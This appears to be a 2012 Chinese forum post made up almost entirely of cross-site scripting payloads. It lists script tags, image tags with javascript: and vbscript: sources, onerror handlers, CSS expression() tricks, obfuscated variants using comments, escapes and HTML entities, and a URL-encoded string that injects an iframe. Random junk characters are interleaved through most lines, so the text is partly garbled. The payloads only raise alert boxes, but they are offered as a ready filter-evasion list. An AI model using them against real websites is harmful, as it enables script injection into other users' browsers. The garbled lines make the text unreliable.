<script>alert("跨站")</script> (最常用）2 y. i6 s+ d! Y$ e, @
<img scr=javascript:alert("跨站")></img>
4 C: u' V& d- |* j<img scr="javascript: alert(/跨站/)></img>
+ M- g" n" X" e3 ], B2 p<img scr="javas????cript:alert(/跨站/)" width=150></img> (?用tab键弄出来的空格）$ ]! ?' C! s; C
<img scr="#" onerror=alert(/跨站/)></img>5 u& s; n X" n: {% C
<img scr="#" style="xss:expression(alert(/xss/));"></img>
6 v2 Y: O0 C& c( p- h2 x& P& ~<img scr="#"/* */onerror=alert(/xss/) width=150></img> (/**/ 表示注释）
! J' C' d$ y0 @9 @% `# h<img src=vbscript:msgbox ("xss")></img>0 M2 I( q+ W; X# }; Q2 |5 U2 x
<style> input {left:expression (alert('xss'))}</style> D# y8 p$ J* K: e w3 I$ Z
<div style={left:expression (alert('xss'))}></div>
* N& \$ \3 g3 N: X ] N<div style={left:exp/* */ression (alert('xss'))}></div>
4 V5 R% Y8 o$ }. y<div style={left:\0065\0078ression (alert('xss'))}></div>: a0 Z0 e7 t8 I' ?% j- T
html 实体 <div style={left:&#ｘ0065；xpression (alert('xss'))}></div>* ~- }7 u2 U, [. z$ \4 H0 H! j! ~: u
unicode <div style="{left:expRessioN (alert('xss'))}">
3 k' S. k, P. C) H& g m. g& `& M+ J6 u3 G9 S. Y
"]}%3Cscript%3Ealert('我又来啦！.')%3C/script%3E{[&item="]<iframe%20src=WWW.BAIDU.COM%20width=400%20height=600></iframe>["$ V8 [ B B. I
|
发表于 2012-9-15 14:09:13
收藏
支持
反对